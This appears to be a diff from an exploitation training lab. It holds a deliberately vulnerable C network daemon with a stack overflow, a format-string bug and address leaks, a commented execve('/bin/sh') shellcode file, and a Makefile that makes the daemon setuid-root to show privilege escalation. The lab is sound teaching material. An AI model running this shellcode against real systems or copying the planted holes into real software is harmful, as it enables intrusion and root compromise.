ssize_t show = n < FOOD_BUFSZ ? n : FOOD_BUFSZ; /* clamp for log. */
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
(void)write_all(fd, buf, (size_t)show);
}
/*
* ====================================================================
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
* ====================================================================
*
* `buf` is fully attacker-controlled. Passing it to printf() as the
* *format* rather than as a %s *argument* lets the attacker supply their
* own conversion specifiers: %x to read stack words, %n to *write* to
* memory, %s to walk arbitrary pointers. A %n here is a write-what-where
* primitive, which is another way to build an exploit.
*
* FIX: never pass untrusted data as the format string. Use
* printf("%s", buf); or better, fwrite()/write() of a length.
*
* We keep this as a *demonstration only* -- it runs on a copy in `line`
* so the crash it causes is obviously separate from Bug #1. The payload
* you send by default is plain text with no '%' characters, so this line
* is a no-op unless you explicitly ask for the format-string demo with
* the `fooc --fmt` mode.
*/
if (memchr(buf, '%', (size_t)n) != NULL) {
snprintf(line, sizeof(line), "%.*s", (int)FOOD_LOGSZ - 1, buf);
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
(void)write_all(fd, line, strlen(line)); /* safe echo of raw text. */
}
/*
* When this function returns, the CPU pops the (attacker-controlled)
* saved return address into RIP and jumps wherever the attacker chose.
* The `leave` + `ret` pair in the generated assembly is the exact
* instruction that hands over control.
*/
}
/* ------------------------------------------------------------------------- */
/* fd handling */
/* ------------------------------------------------------------------------- */
/*
* on_sigsegv() -- print exactly where the CPU was trying to go.
*
* This handler exists purely to make the exploit *visible*. When the overflow
* lands, the CPU jumps to an address we chose; that address is almost always
* unmapped, the CPU raises SIGSEGV, and this handler runs.
*
* Two facts come out of the kernel for free:
*
* * ucontext->uc_mcontext.gregs[REG_RIP] is the address of the instruction
* the CPU was executing, i.e. the value of the instruction pointer at the
* moment of the fault. If we clobbered the return address, THIS is our
* eight bytes. It is the most direct possible proof that the attacker
* controls RIP.
* * siginfo->si_addr is the bad address the access was aimed at.
*
* Both are read out of the ucontext_t that the kernel hands us, which is why
* this needs <sys/ucontext.h> and _GNU_SOURCE.
*
* A production server absolutely should catch SIGSEGV like this -- not to keep
* serving, but to log the fault address so that a crash *tells you it was
* malicious*. Crashing silently is what makes these bugs survive for years.
*/
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
{
ucontext_t *uc = (ucontext_t *)ucv; /* The CPU's saved register state. */
unsigned long rip = 0;
unsigned long rsp = 0;
if (uc != NULL) {
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
}
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx", rip, rsp);
logmsg("SIGSEGV: RIP is the return address the client supplied. "
"If it is 0x4141414141414141, that is our 'A' padding. "
"If it looks like a real code or libc address, we were hijacked.");
/*
* Re-raise with the default disposition so the process still dies with the
* correct status and still dumps core. A handler that swallowed the
* signal and returned would re-execute the faulting instruction forever,
* because the bad address has not been fixed -- an easy way to turn one
* crash into an unkillable hang.
*/
signal(sig, SIG_DFL);
raise(sig);
}
/*
* install_crash_reporter() -- attach on_sigsegv() to this process.
*
* Called in the forked child, so installing it is cheap and affects only the
* process serving one connection. The parent keeps its default dispositions
* and is therefore not slowed by signal handling.
*/
static void install_crash_reporter(void)
{
struct sigaction sa; /* The action structure sigaction() wants. */
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_sigsegv; /* The extended handler form. */
sa.sa_flags = SA_SIGINFO; /* "...and pass me the siginfo_t." */
/* An empty sigset means "block nothing extra while in the handler". */
sigemptyset(&sa.sa_mask);
if (sigaction(SIGSEGV, &sa, NULL) < 0)
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
if (sigaction(SIGBUS, &sa, NULL) < 0) /* Misaligned access, same idea. */
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
}
/*
* prepare_client_fds() -- point fds 0, 1 and 2 at the accepted socket.
*
* Doing this once, up front, is what lets every exploitation technique in
* `fooc` work identically:
*
* * ret2win -> win() execs /bin/sh with fds 0-2 already on the socket.
* * ret2libc -> system("/bin/sh") likewise inherits the socket.
* * shellcode -> execve("/bin/sh") likewise inherits the socket.
*
* so whichever payload lands, the resulting shell talks straight back to the
* attacker over the network.
*/
static void prepare_client_fds(int fd)
{
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
}
/* ------------------------------------------------------------------------- */
/* The information leak -- Bug #3 lives here (this one is a feature in the lab)*/
/* ------------------------------------------------------------------------- */
/*
* send_leaks() -- hand the attacker two pointers, on purpose.
*
* This models two *real* vulnerability classes, and it is what makes the
* "hard" techniques (ret2libc, shellcode) deterministic instead of a
* probability game:
*
* Leak A: a STACK address (the address of a local variable).
* Real-world analogue: CWE-200 / CWE-497 "exposure of sensitive
* information to an unauthorized actor" -- a debug endpoint, a verbose
* error page, a crash dump, a /proc/self/maps file served over HTTP.
* With it, the attacker learns exactly where their shellcode landed.
*
* Leak B: a LIBC address (the real address of `read`, resolved by the PLT
* trampoline into libc).
* Real-world analogue: the same, plus a classic function-pointer leak.
* With it, the attacker computes the load address of libc and therefore
* the addresses of `system` and of the "/bin/sh" string inside it.
*
* FIX for the daemon: do not print addresses to untrusted clients, and do
* not leave debug endpoints enabled in production builds.
*
* The text format is deliberately simple so the exploit can parse it with a
* one-line sscanf():
*
* "FOOD 1.0 leak stack=0x<hex> libc=0x<hex>\n"
*/
static void send_leaks(int fd)
{
long stack_marker = 0; /* A local; its address reveals the stack base.*/
/*
* The *exact* type of `read` as declared in <unistd.h>. Getting this
* signature wrong is a compile error in C (and a far worse bug in C++),
* which is a nice reminder that the type system is a security tool:
*
* ssize_t read(int fd, void *buf, size_t nbytes);
*
* We store it in a variable only so we can print its value as a leak.
*/
ssize_t (*libc_read)(int, void *, size_t); /* Real libc `read` fn ptr. */
/*
* Taking the address of a local is the leak. Compilers must honour this
* (it is observable behaviour), so it cannot be optimised away.
*/
stack_marker = 0x4141414141414141L; /* Make it obvious in a debugger.*/
/*
* `&read` is not the PLT stub once the dynamic linker has run: the GOT
* holds the true address inside libc, so this yields a genuine libc
* pointer. That is what makes leak B useful for ret2libc.
*/
libc_read = &read;
/*
* 0644 octal = "rw-r--r--", the conventional permission bits for a file.
* %p prints a pointer in the implementation-defined but universally
* "0x..." form on glibc/x86-64.
*/
dprintf(fd, "FOOD 1.0 leak stack=%p libc=%p\n",
(void *)&stack_marker, (void *)libc_read);
}
/* ------------------------------------------------------------------------- */
/* Per-connection handling */
/* ------------------------------------------------------------------------- */
/*
* handle_client() -- do everything for one connected attacker.
*
* Runs in the forked child. Its job:
* 1. Send a banner and the two leaks.
* 2. Call the vulnerable function, which will be overflowed.
* 3. Never return to the accept loop: if the overflow missed, exit cleanly;
* if it hit, we never come back at all -- the CPU is somewhere else now.
*/
static void handle_client(int fd)
{
static const char banner[] =
"FOOD 1.0 - deliberately vulnerable service\n"
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
/*
* Install the crash reporter *after* the dup2 dance, so its log lines
* (which go to g_logfd, not to the socket) cannot be seen by the client.
*/
install_crash_reporter();
logmsg("client connected (fd %d)", fd);
/* The banner and the leaks are two separate writes so the client can
* read them incrementally without needing a length-prefixed protocol. */
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
send_leaks(STDOUT_FILENO);
/* Hand control to the vulnerable code. Nothing after this line is
* guaranteed to run. */
vulnerable_handler(STDOUT_FILENO);
/*
* We only get here if the exploit *missed* its target, or if no exploit
* was sent. Say goodbye politely so the exploit can tell the difference
* between "failed" and "succeeded".
*/
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
}
/* ------------------------------------------------------------------------- */
/* The server loop */
/* ------------------------------------------------------------------------- */
/*
* make_listener() -- create the listening socket.
*
* A correct, boring, textbook implementation: it would be the same code in
* production. Returns the fd, or -1 on failure.
*/
static int make_listener(const char *host, int port)
{
struct sockaddr_in addr; /* The TCP address we will bind to. */
int fd; /* The socket descriptor. */
int one = 1; /* Value for setsockopt(). */
fd = socket(AF_INET, SOCK_STREAM, 0); /* IPv4, TCP. */
if (fd < 0) {
logmsg("socket() failed: %s", strerror(errno));
return -1;
}
/* SO_REUSEADDR: let us restart quickly without TIME_WAIT blocking us. */
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
/*
* Zero the whole structure first. Leaving uninitialised padding bytes is
* a real bug (CWE-457) that leaks stack memory to the kernel -- harmless
* here, but habit-forming in a bad way, so we do it properly.
*/
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET; /* IPv4. */
addr.sin_port = htons((uint16_t)port);/* Network byte order. */
/*
* inet_pton() parses the dotted-quad text form "127.0.0.1" into the
* network-byte-order struct in_addr. It returns 1 on success, 0 on a
* malformed address, -1 on error. This is the correct way to turn a
* config string into an address -- strtoul() would happily accept things
* like "0x7f000001" and hide bugs.
*/
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
logmsg("bad bind address: %s", host);
close(fd);
return -1;
}
/* int -> unsigned short is a narrowing cast, so range-check the port
* before htons() can silently truncate a value like 70000 to 4464. */
if (port < 1 || port > 65535) {
logmsg("port out of range: %d", port);
close(fd);
return -1;
}
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
close(fd);
return -1;
}
if (listen(fd, 16) < 0) { /* Backlog of 16 connections. */
logmsg("listen() failed: %s", strerror(errno));
close(fd);
return -1;
}
return fd;
}
/* ------------------------------------------------------------------------- */
/* Tiny main() */
/* ------------------------------------------------------------------------- */
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [-h HOST] [-p PORT] [-d]\n"
"\n"
" -h HOST address to bind (default %s -- keep it on loopback!)\n"
" -p PORT TCP port to listen on (default %d)\n"
" -d daemonise: fork into the background\n"
"\n"
"WARNING: this program is intentionally exploitable. Do not run it\n"
"on any host that matters, and do not bind it to 0.0.0.0.\n",
argv0, FOOD_HOST, FOOD_PORT);
}
int main(int argc, char **argv)
{
const char *host = FOOD_HOST; /* Bind address, overridable with -h. */
int port = FOOD_PORT; /* Bind port, overridable with -p. */
int daemonise = 0; /* Set by -d. */
int lfd; /* Listening socket fd. */
int i; /* getopt()'s index. */
/* getopt() parses the command line. ":h:p:d" = h/p take args, d does not,
* leading ':' means "report missing argument as ':'". */
while ((i = getopt(argc, argv, ":h:p:d")) != -1) {
switch (i) {
case 'h': host = optarg; break; /* host argument. */
case 'p': port = atoi(optarg); break; /* port argument. */
case 'd': daemonise = 1; break; /* background flag. */
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
usage(argv[0]);
return 2;
default: usage(argv[0]); /* unknown flag. */
return 2;
}
}
/* Ignore SIGPIPE so a client disconnecting mid-write cannot kill us. */
signal(SIGPIPE, SIG_IGN);
/* Reap dead children automatically instead of accumulating zombies. */
signal(SIGCHLD, SIG_IGN);
/*
* Claim a private copy of stdout for logging, BEFORE any accept() can
* dup2 a client socket over fd 1. Everything logged afterwards goes to
* the real terminal or wherever stdout was pointed, never to a client.
* g_logfd is 0 or 1 only if dup() failed, in which case we fall back to
* the original stdout in logmsg().
*/
g_logfd = dup(STDOUT_FILENO);
if (g_logfd < 0) {
g_logfd = STDOUT_FILENO;
fprintf(stderr, "food: warning: could not reserve a log descriptor\n");
}
lfd = make_listener(host, port);
if (lfd < 0)
return 1;
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY VULNERABLE",
host, port, (int)getpid());
if (daemonise) {
/* Standard double-fork daemonisation so we cannot acquire a
* controlling terminal. Parent exits, intermediate exits, we survive. */
pid_t p1 = fork();
if (p1 < 0) { perror("fork"); return 1; }
if (p1 > 0) _exit(0); /* Original parent: go away. */
if (setsid() < 0) perror("setsid");
pid_t p2 = fork();
if (p2 < 0) { perror("fork"); return 1; }
if (p2 > 0) _exit(0); /* Session leader: also go away. */
if (chdir("/") < 0) perror("chdir");
umask(022); /* New files default to 0644. */
}
/* ---- The accept loop. Runs forever. ---------------------------------- */
for (;;) {
struct sockaddr_in peer; /* Who connected. */
socklen_t plen = sizeof(peer);
int cfd; /* Client socket. */
pid_t pid; /* Child pid. */
/*
* accept() blocks until a client arrives, then returns a *new* fd
* connected to that client. The listening fd stays open.
*/
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
if (cfd < 0) {
if (errno == EINTR || errno == ECONNABORTED)
continue; /* Transient: just try again. */
logmsg("accept() failed: %s", strerror(errno));
continue;
}
/*
* Fork per connection. Reason 1: isolation -- a segfault in the
* exploit's payload kills only the child, so the daemon survives.
* Reason 2: the child can _exit() without taking the server down.
*/
pid = fork();
if (pid < 0) {
logmsg("fork() failed: %s", strerror(errno));
close(cfd);
continue;
}
if (pid == 0) {
/* ---- Child: serve exactly one client, then die. -------------- */
close(lfd); /* Release our copy of the listening socket. */
handle_client(cfd);
/* If the exploit worked, we never get here. If it did not, exit. */
_exit(0);
}
/* ---- Parent: close our copy of the client socket and go around. -- */
close(cfd);
}
/* Not reached: the accept loop is infinite. */
}

140
shellcode.S Normal file
View file

@ -0,0 +1,140 @@
; ===========================================================================
; shellcode.S -- the reference version of the 23 bytes embedded in fooc.c
; ===========================================================================
;
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
; array in fooc.c is exactly the machine code you would get from assembling
; these instructions. It is not used by the exploit, which carries the bytes
; inline so it has no runtime dependency on nasm.
;
; make verify-shellcode assembles this and diffs it against fooc.c
;
; WHAT IT DOES
; ------------
; execve("/bin/sh", argv = NULL, envp = NULL)
;
; ... and that is the whole payload. There is no loop, no decoder, no
; egg-hunter: 23 bytes that turn the process into a shell.
;
; THE ABI
; -------
; The System V AMD64 calling convention, and the kernel's syscall convention,
; agree on the register layout, which is why one sequence serves both:
;
; rdi 1st argument -> the pathname
; rsi 2nd argument -> argv
; rdx 3rd argument -> envp
; rax syscall number -> 59 = execve
;
; Passing argv = NULL makes the kernel synthesise argv[0] from the pathname,
; and envp = NULL gives the new program an empty environment. The shell runs
; fine, but with no PATH, so `id` and `uname` work and bare `vi` does not --
; a small detail that surprises people, and the reason fooc's own local shell
; uses execv() with a real environment instead.
;
; ASSEMBLY NOTES
; --------------
; * `mov rdi, 0x68732f6e69622f` needs the REX.W prefix and a 64-bit
; immediate, so it is spelled `movabs` in AT&T syntax (or `mov r64,
; imm64` in Intel syntax). The immediate is the eight ASCII bytes
; "/bin/sh\0" read as a little-endian 64-bit number -- the NUL comes free
; because it is the high byte of the little-endian representation, which is
; the top of the string.
;
; * We `push rdi` rather than putting the string in a `.data` section
; because the payload must be position independent: it will sit at whatever
; address the target's stack (or, in a ROP chain, wherever the attacker
; chose) happens to be. RIP-relative addressing would break, `push` will
; not.
;
; * `push 0x3b; pop rax` is the idiomatic 2-byte way to load a small syscall
; number. `mov eax, 0x3b` is 5 bytes, which matters in a payload.
;
; * There is no `ret` at the end. execve replaces the process image and never
; returns, so anything after `syscall` is dead code. The shell you get never
; runs our bytes again -- which is why the parent process's stack, and
; therefore the corrupted return address, is irrelevant once this fires.
;
; WHY THIS IS THE THING NX BIT EXISTS TO STOP
; -------------------------------------------
; These bytes must land on an executable page. The stack normally is not, so
; on any modern system the CPU raises SIGSEGV the moment `ret` transfers control
; into the payload. That single hardware feature is why real-world ROP chains
; look like this file and not like this file: with NX on, the attacker reuses
; code that already exists in the binary or in libc. See README.md.
; ===========================================================================
BITS 64
; section .text -- mark it executable, the default, so `nasm -f bin` emits
; the instruction bytes with no ELF wrapper around them.
section .text
; ---------------------------------------------------------------------------
; xor esi, esi
; rsi = 0 -> envp = NULL
;
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5) and
; the classic x86 idiom for producing a zero without a memory operand. It
; also has a side effect: the zeroing flag form skips the dependency-breaking
; trick some old CPUs needed, which no longer matters.
; ---------------------------------------------------------------------------
xor esi, esi
; ---------------------------------------------------------------------------
; xor edx, edx
; rdx = 0 -> argv = NULL
; ---------------------------------------------------------------------------
xor edx, edx
; ---------------------------------------------------------------------------
; movabs rdi, 0x68732f6e69622f
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
;
; Read the immediate right-to-left as bytes and it spells the string out.
; That packing is the whole trick: eight bytes of payload in a ten-byte
; instruction, no data section, no relocation, no alignment padding.
; ---------------------------------------------------------------------------
movabs rdi, 0x68732f6e69622f
; ---------------------------------------------------------------------------
; push rdi
; Put those eight bytes on the stack, where a string has to live so that a
; register can point at it. The stack is writable and is at a known
; (attacker-chosen) address, so this is the position-independent way to
; materialise a string constant.
; ---------------------------------------------------------------------------
push rdi
; ---------------------------------------------------------------------------
; mov rdi, rsp
; rdi = the address of the string we just pushed = argv[0] as well as the
; pathname. Reusing one buffer for both is legal; the kernel only reads the
; pathname before it sets up the new stack, and by then argv[0] is copied.
; ---------------------------------------------------------------------------
mov rdi, rsp
; ---------------------------------------------------------------------------
; push 0x3b
; pop rax
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
;
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
; 1 = write, 2 = open, ..., 59 = execve. They are not sequential by function,
; they are fixed by history, which is why they are also a handy way for an
; analyst to recognise a payload.
; ---------------------------------------------------------------------------
push 0x3b
pop rax
; ---------------------------------------------------------------------------
; syscall
; Trap into the kernel. On return, either we are a shell (success) or we
; are handed a -errno in rax and fall off the end of the payload (failure).
; ---------------------------------------------------------------------------
syscall
; Note what is NOT here:
; * no `ret` -- execve does not return.
; * no `nop` sled -- we jump straight to the first byte.
; * no `jmp $+N` -- nothing to reach.

15
suid/.gitignore vendored Normal file
View file

@ -0,0 +1,15 @@
# Build products
foosd
foosd_hardened
foosc
shellcode.bin
.sc_c_raw.txt
.sc_c.txt
.sc_asm.txt
tests/pty_suid_test
# Logs are evidence -- keep them out of git but present on disk
foosd.log
foosd_hardened.log
*.log

314
suid/Makefile Normal file
View file

@ -0,0 +1,314 @@
# ============================================================================
# Makefile -- builds the SUID lab: the vulnerable daemon, its exploit, and
# the test harness. Companion to the parent lab's Makefile.
# ============================================================================
#
# make build foosd, foosc and the test harness
# make setuid ONE-TIME, needs sudo: gives foosd the setuid bit and a
# root owner. THIS is what makes the exploit yield root.
# make unsetuid remove the setuid bit again when you are done
# make run start foosd on loopback (whatever uid it currently has)
# make status report the setuid state of ./foosd
# make test technique matrix (works with or without the setuid bit)
# make test-suid the matrix with --must-root on the techniques that are
# SUPPOSED to escalate (needs `make setuid` first)
# make verify prove the bytes in foosc.c equal what shellcode.S makes
# make hardened rebuild foosd with all mitigations ON (expect failure)
# make test-hardened show which techniques the mitigations kill
# make stop stop the daemon
# make clean remove build products
#
# ---------------------------------------------------------------------------
# THE SETUID STATE -- the one thing that makes this lab different
# ---------------------------------------------------------------------------
# A setuid-root binary is `root:root` with the 's' bit in its mode (rwsr-xr-x).
# The whole point of this lab is the difference between running `foosd`
# WITHOUT that state (exploits land, but the shell is a plain user shell)
# and WITH it (shellcode yields uid=0):
#
# make setuid # needs sudo, once, after any rebuild
# make run
# make test-suid
# make stop
# make unsetuid # hygiene: never leave it set
#
# IMPORTANT BUILD RULE: `make clean` can remove a root-owned binary (delete
# permissions come from the DIRECTORY), but recompiling OVER a root-owned
# file fails with "Permission denied". So after `make setuid`:
# sudo make clean # or: make unsetuid, then make, then make setuid
# ============================================================================
CC ?= gcc
CSTD := -std=c99
# We do NOT use -Werror: the deliberate overflow triggers
# -Wstringop-overflow in foosd.c and that warning is supposed to fire.
WARN := -Wall -Wextra
DBG := -O0 -g
# --- the vulnerable build -----------------------------------------------------
# Same deliberate removals as the parent lab, now with a SUID twist: dropping
# the canary, PIE and NX is what makes the techniques reachable, but NONE of
# them has anything to do with the +s bit. A hardened build of this same
# source is still a SUID binary -- just a harder-to-abuse one.
VULN := -fno-stack-protector -no-pie -z execstack
# --- the hardened build -------------------------------------------------------
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
# Port: kept distinct from the parent lab's 2342 so both can run together.
PORT ?= 2343
all: foosd foosc tests/pty_suid_test
# -----------------------------------------------------------------------------
# The daemon. It becomes SUID later via `make setuid`; the build itself is
# ordinary (a setuid bit is a filesystem attribute, not a linker flag).
# -----------------------------------------------------------------------------
foosd: foosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
# -----------------------------------------------------------------------------
# The exploit: mitigations ON (the attacker gains nothing by self-weakening).
# -ldl for dlsym(), which measures libc offsets at runtime instead of
# hardcoding numbers that break on the next glibc update.
# -----------------------------------------------------------------------------
foosc: foosc.c
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
tests/pty_suid_test: tests/pty_suid_test.c
$(CC) $(TESTCFLAGS) -o $@ $<
# -----------------------------------------------------------------------------
# setuid: install the SUID-root state. Requires root (sudo). After this,
# `./foosd` run by ANY user starts with euid 0.
#
# Note the file must be owned by root AND the surrounding directory must not
# be writable by others -- a root-owned SUID binary in a world-writable dir
# is itself a classic bug (anyone can replace or relink it as root later).
# -----------------------------------------------------------------------------
setuid: foosd
@echo "=== giving foosd the setuid bit (needs your sudo password)"
@sudo sh -c 'chown root:root foosd && chmod u+s foosd && chmod 755 foosd'
@echo
@ls -l foosd
@echo
@echo "=== expect the owner 'root' and a mode starting with -rws (the s)."
@stat -c 'owner=%U mode=%A' foosd
@echo "=== now: make run ; make test-suid"
@echo "=== when done: make stop ; make unsetuid"
unsetuid:
@if [ -f foosd ]; then \
sudo chmod u-s foosd; \
echo "=== setuid bit removed from foosd."; \
echo "=== (It may still be owned by root; rebuild with 'make unsetuid && make' \
or 'sudo make clean && make'.)"; \
stat -c 'owner=%U mode=%A' foosd; \
else \
echo "=== foosd not built; nothing to do"; \
fi
# -----------------------------------------------------------------------------
# status: what state is the binary in? The daemon also reports this in its log
# at startup, so this is just a convenience.
# -----------------------------------------------------------------------------
status:
@if [ ! -f foosd ]; then echo "=== foosd is not built yet (make)."; exit 0; fi
@owner=$$(stat -c %U foosd); mode=$$(stat -c %A foosd); \
echo "=== foosd: owner=$$owner mode=$$mode"; \
case "$$mode" in -rws*) \
echo "=== SUID state: setuid-root ACTIVE -> shellcode gives root.";; \
*) \
echo "=== SUID state: not setuid (yet) -> run: sudo make setuid";; \
esac
# -----------------------------------------------------------------------------
# run / stop. setsid + nohup + </dev/null are all required so the daemon
# survives the invoking shell and never competes with you for the terminal.
# -----------------------------------------------------------------------------
run: foosd
@echo "=== starting foosd on 127.0.0.1:$(PORT)"
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x foosd >/dev/null; then \
echo "=== foosd is running (pid $$(pgrep -x foosd | head -1))"; \
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
grep '\[stack\]' /proc/$$(pgrep -x foosd | head -1)/maps; \
echo "=== startup log line (uid/euid state):"; \
grep startup foosd.log; \
else \
echo "=== foosd failed to start; see foosd.log"; exit 1; \
fi
stop:
@if pgrep -x foosd >/dev/null; then \
pkill -x foosd; sleep 0.5; \
echo "=== foosd stopped"; \
else \
echo "=== foosd was not running"; \
fi
@# Also clean up a leftover hardened daemon; it would hold the port.
@if pgrep -x foosd_hardened >/dev/null; then \
pkill -x foosd_hardened; sleep 0.5; \
echo "=== foosd_hardened stopped"; \
fi
# -----------------------------------------------------------------------------
# test: the technique matrix. Works whether or not the setuid bit is set.
#
# shellcode / ret2win-root are the ESCALATING ones: the Makefile demands
# root ("--must-root") -- without the setuid bit
# these FAIL, which is the correct answer.
# ret2win / ret2libc are the DEMOTED ones: they land a shell, but
# bash resets euid=ruid, so root is NOT expected.
# The harness is used WITHOUT --must-root, and
# the ROOT= line printed tells the truth either
# way.
#
# The verdict is pty_suid_test's EXIT STATUS, never a grep of its output.
# -----------------------------------------------------------------------------
test: tests/pty_suid_test
@fail=0; \
echo "=== ret2libc (expect shell, NOT root: the shell resets euid)"; \
./tests/pty_suid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
echo "=== ret2win (expect shell, NOT root: win() leaves ruid set)"; \
./tests/pty_suid_test -t ret2win 2>&1 >/dev/null || fail=1; \
echo "=== ret2win-root (expect ROOT shell: win_root() clears ruid)"; \
./tests/pty_suid_test -t ret2win-root --must-root 2>&1 >/dev/null || fail=1; \
echo "=== shellcode (expect ROOT shell: setreuid+execve)"; \
./tests/pty_suid_test -t shellcode --must-root 2>&1 >/dev/null || fail=1; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== shellcode and ret2win-root escalated to root."; \
echo "=== If you expected this WITHOUT running 'make setuid', note"; \
echo "=== that foosd must be setuid-root for euid to be 0."; \
else \
echo "=== at least one technique did not behave as expected."; \
echo "=== Check the ROOT= value above, foosd.log, and README.md."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# test-suid: the same matrix, but it explicitly checks the setuid state first
# so the diagnosis is obvious. Run AFTER sudo make setuid and make run.
# -----------------------------------------------------------------------------
test-suid: tests/pty_suid_test
@if [ ! -u foosd ] || [ "$$(stat -c %U foosd)" != "root" ]; then \
echo "!!! foosd is not setuid-root. Run: sudo make setuid"; exit 1; \
fi
@$(MAKE) --no-print-directory test
# -----------------------------------------------------------------------------
# verify: prove the shellcode bytes in foosc.c are byte-for-byte what nasm
# produces from shellcode.S. A hand-maintained hex array and a hand-written
# .S file are both easy to get wrong; the diff catches it automatically.
# -----------------------------------------------------------------------------
verify verify-shellcode: shellcode.S foosc.c
@command -v nasm >/dev/null 2>&1 || { \
echo "verify-shellcode: nasm is not installed; skipping."; \
echo " (Arch: pacman -S nasm)"; exit 0; }
@echo "=== Assembling shellcode.S ..."
@nasm -f bin -o shellcode.bin shellcode.S
@echo "=== nasm output:"
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//'
@echo
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
@# first (they mention hex constants like "0x71"), then grep the literals.
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foosc.c \
| sed -e 's,/\*.*\*,,' \
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
> .sc_c_raw.txt
@echo "=== bytes declared in foosc.c's SHELLCODE[] array:"
@cat .sc_c_raw.txt
@echo
@echo "=== comparing ..."
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//' > .sc_asm.txt
@if cmp -s .sc_c.txt .sc_asm.txt; then \
n=$$(wc -c < shellcode.bin); \
echo "MATCH: the $$n bytes in foosc.c are byte-for-byte what"; \
echo " shellcode.S assembles to."; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
else \
echo "MISMATCH -- the two differ:"; \
diff .sc_c.txt .sc_asm.txt || true; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
fi
# -----------------------------------------------------------------------------
# hardened: same source, all mitigations ON. Every technique should die at the
# canary; the point is the console contrast with the vulnerable build, and the
# reminder in README.md that a hardened build is still a SUID binary.
# -----------------------------------------------------------------------------
hardened: foosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foosd_hardened $<
@echo
@echo "=== foosd_hardened built with the mitigations ON."
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
@readelf -W -l foosd_hardened | grep GNU_STACK
# test-hardened: swap the hardened daemon in, show every technique failing,
# then put the vulnerable one back exactly as it was.
test-hardened: hardened tests/pty_suid_test
@if ! pgrep -x foosd >/dev/null; then \
echo "=== start the daemon first: make run"; exit 1; \
fi
@$(MAKE) --no-print-directory stop
@echo "### starting foosd_hardened instead"
@setsid nohup ./foosd_hardened > foosd_hardened.log 2>&1 </dev/null \
& disown 2>/dev/null || true
@sleep 1
@if ! pgrep -x foosd_hardened >/dev/null; then \
echo "!!! foosd_hardened did not start; see foosd_hardened.log"; \
$(MAKE) --no-print-directory stop; exit 1; \
fi
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
@grep '\[stack\]' /proc/$$(pgrep -x foosd_hardened | head -1)/maps || true
@echo
@for t in ret2libc ret2win ret2win-root shellcode; do \
echo "=================== $$t"; \
if ./tests/pty_suid_test -t $$t 2>&1 >/dev/null; then \
echo "--- $$t: got a shell (report the ROOT= line above)"; \
else \
echo "--- $$t was stopped by the mitigations (as expected)"; \
fi; \
done
@echo
@$(MAKE) --no-print-directory stop
@echo "### restoring the vulnerable daemon"
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & disown 2>/dev/null || true
@sleep 1
@echo
@echo "=== mitigation contrast is above. See README.md."
# -----------------------------------------------------------------------------
# debug: rebuild for gdb and show the first breakpoints to try.
# -----------------------------------------------------------------------------
debug: foosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foosd $<
@echo "=== built ./foosd for gdb. Try:"
